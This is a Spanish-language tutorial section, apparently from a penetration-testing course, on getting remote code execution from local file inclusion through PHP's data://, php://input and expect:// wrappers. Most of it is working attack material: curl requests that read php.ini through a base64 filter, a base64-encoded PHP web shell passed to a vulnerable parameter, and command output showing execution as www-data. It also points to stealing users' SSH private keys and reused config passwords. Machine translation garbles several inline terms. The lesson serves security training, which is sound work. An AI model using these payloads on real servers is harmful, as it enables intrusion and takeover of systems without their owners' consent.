PHP Wrappers

Hasta ahora en este módulo, hemos estado explotando vulnerabilidades de inclusión de archivos para divulgar archivos locales mediante diversos métodos. En esta sección, aprenderemos cómo usarlas para ejecutar código en los servidores back-end y obtener control sobre ellos.

Podemos usar muchos métodos para ejecutar comandos remotos, cada uno con un caso de uso específico, ya que dependen del lenguaje o framework de backend y de las capacidades de la función vulnerable. Un método sencillo y común para obtener el control del servidor backend es enumerar las credenciales de usuario y las claves SSH, y usarlas para iniciar sesión en el servidor backend mediante SSH o cualquier otra sesión remota. Por ejemplo, podemos encontrar la contraseña de la base de datos en un archivo como [nombre config.phpdel usuario], que podría coincidir con la contraseña de un usuario en caso de que reutilice la misma. O podemos revisar el .sshdirectorio en el directorio personal de cada usuario y, si los privilegios de lectura no están configurados correctamente, podríamos obtener su clave privada [nombre del usuario id_rsa] y usarla para acceder al sistema mediante SSH.

Además de estos métodos triviales, existen maneras de lograr la ejecución remota de código directamente a través de la función vulnerable, sin depender de la enumeración de datos ni de los privilegios de archivos locales. En esta sección, comenzaremos con la ejecución remota de código en aplicaciones web PHP. Nos basaremos en lo aprendido en la sección anterior y utilizaremos diferentes métodos PHP Wrapperspara lograr la ejecución remota de código. Posteriormente, en las siguientes secciones, aprenderemos otros métodos para lograr la ejecución remota de código que pueden usarse con PHP y otros lenguajes.

Data

El contenedor de datos puede usarse para incluir datos externos, incluyendo código PHP. Sin embargo, solo está disponible si la allow_url_includeopción ( ) está habilitada en la configuración de PHP. Por lo tanto, primero confirmemos si esta opción está habilitada leyendo el archivo de configuración de PHP a través de la vulnerabilidad LFI.

Comprobación de configuraciones de PHP

Para ello, podemos incluir el archivo de configuración de PHP que se encuentra en ( /etc/php/X.Y/apache2/php.ini) para Apache o en ( /etc/php/X.Y/fpm/php.ini) para Nginx, donde X.Yse encuentra la versión de PHP instalada. Podemos empezar con la última versión de PHP y probar con versiones anteriores si no encontramos el archivo de configuración. También usaremos el base64filtro que usamos en la sección anterior, ya que .inilos archivos son similares a .phplos archivos y deben codificarse para evitar errores. Finalmente, usaremos cURL o Burp en lugar de un navegador, ya que la cadena de salida podría ser muy larga y deberíamos poder capturarla correctamente.

curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
<!DOCTYPE html>

<html lang="en">
...SNIP...
 <h2>Containers</h2>
    W1BIUF0KCjs7Ozs7Ozs7O
    ...SNIP...
    4KO2ZmaS5wcmVsb2FkPQo=
<p class="read-more">

Una vez que tenemos la cadena codificada en base64, podemos decodificarla y grepver allow_url_includesu valor:

echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include

allow_url_include = On

¡Excelente! Vemos que esta opción está habilitada, por lo que podemos usar el datawrapper. Saber cómo comprobar esta allow_url_includeopción es muy importante, ya que this option is not enabled by defaultes necesaria para varios otros ataques LFI, como el uso del inputwrapper o cualquier ataque RFI, como veremos a continuación. Es frecuente ver esta opción habilitada, ya que muchas aplicaciones web dependen de ella para funcionar correctamente, como algunos plugins y temas de WordPress, por ejemplo.

Ejecución remota de código

Con allow_url_includeesta opción habilitada, podemos continuar con nuestro dataataque wrapper. Como se mencionó anteriormente, el datawrapper puede usarse para incluir datos externos, incluyendo código PHP. También podemos pasarle base64cadenas codificadas con [nombre del archivo] text/plain;base64, y tiene la capacidad de decodificarlas y ejecutar el código PHP.

Entonces, nuestro primer paso sería codificar en base64 un shell web PHP básico, de la siguiente manera:

echo '<?php system($_GET["cmd"]); ?>' | base64

PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==

Ahora, podemos codificar la cadena en base64 mediante URL y luego pasarla al contenedor de datos con data://text/plain;base64,. Finalmente, podemos usar comandos de paso al shell web con &cmd=<COMMAND>:

curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Input

Al igual que el datawrapper, el wrapper de entrada permite incluir información externa y ejecutar código PHP. La diferencia radica dataen que pasamos la entrada al inputwrapper como datos de una solicitud POST. Por lo tanto, el parámetro vulnerable debe aceptar solicitudes POST para que este ataque funcione. Finalmente, el inputwrapper también depende de la allow_url_includeconfiguración, como se mencionó anteriormente.

Para repetir nuestro ataque anterior, pero con el inputwrapper, podemos enviar una solicitud POST a la URL vulnerable y agregar nuestro shell web como datos POST. Para ejecutar un comando, lo pasaríamos como parámetro GET, como hicimos en nuestro ataque anterior:

curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Para pasar nuestro comando como una solicitud GET, necesitamos que la función vulnerable también acepte solicitudes GET (es decir, use $_REQUEST). Si solo acepta solicitudes POST, podemos incluir nuestro comando directamente en nuestro código PHP, en lugar de usar un shell web dinámico (por ejemplo <\?php system('id')?>, ).

Expect

Finalmente, podemos usar el contenedor expect , que nos permite ejecutar comandos directamente a través de flujos de URL. Expect funciona de forma muy similar a los shells web que usamos anteriormente, pero no necesita proporcionar un shell web, ya que está diseñado para ejecutar comandos.

Sin embargo, expect es un contenedor externo, por lo que debe instalarse y habilitarse manualmente en el servidor backend. Sin embargo, algunas aplicaciones web lo utilizan para su funcionalidad principal, por lo que podría encontrarse en casos específicos. Podemos determinar si está instalado en el servidor backend, como hicimos allow_url_includeantes, pero en su lugar, usaríamos grep`for` expect, y si está instalado y habilitado, obtendríamos lo siguiente:

echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect
extension=expect

Como podemos ver, la extensionpalabra clave de configuración se usa para habilitar el expectmódulo, lo que significa que deberíamos poder usarlo para obtener RCE a través de la vulnerabilidad LFI. Para usar el módulo expect, podemos usar el expect://contenedor y luego pasar el comando que queremos ejecutar, como se indica a continuación:

curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Como podemos ver, ejecutar comandos a través del expectmódulo es bastante sencillo, ya que este fue diseñado para la ejecución de comandos, como se mencionó anteriormente. El módulo de Ataques Web también aborda el uso del expectmódulo con vulnerabilidades XXE, por lo que si comprende bien su uso aquí, debería estar preparado para usarlo con XXE.

Estos son los tres wrappers de PHP más comunes para ejecutar comandos del sistema directamente a través de vulnerabilidades LFI. También abordaremos los wrappers phary zipen próximas secciones, que podemos usar con aplicaciones web que permiten la carga de archivos para obtener ejecución remota a través de vulnerabilidades LFI.

Last updated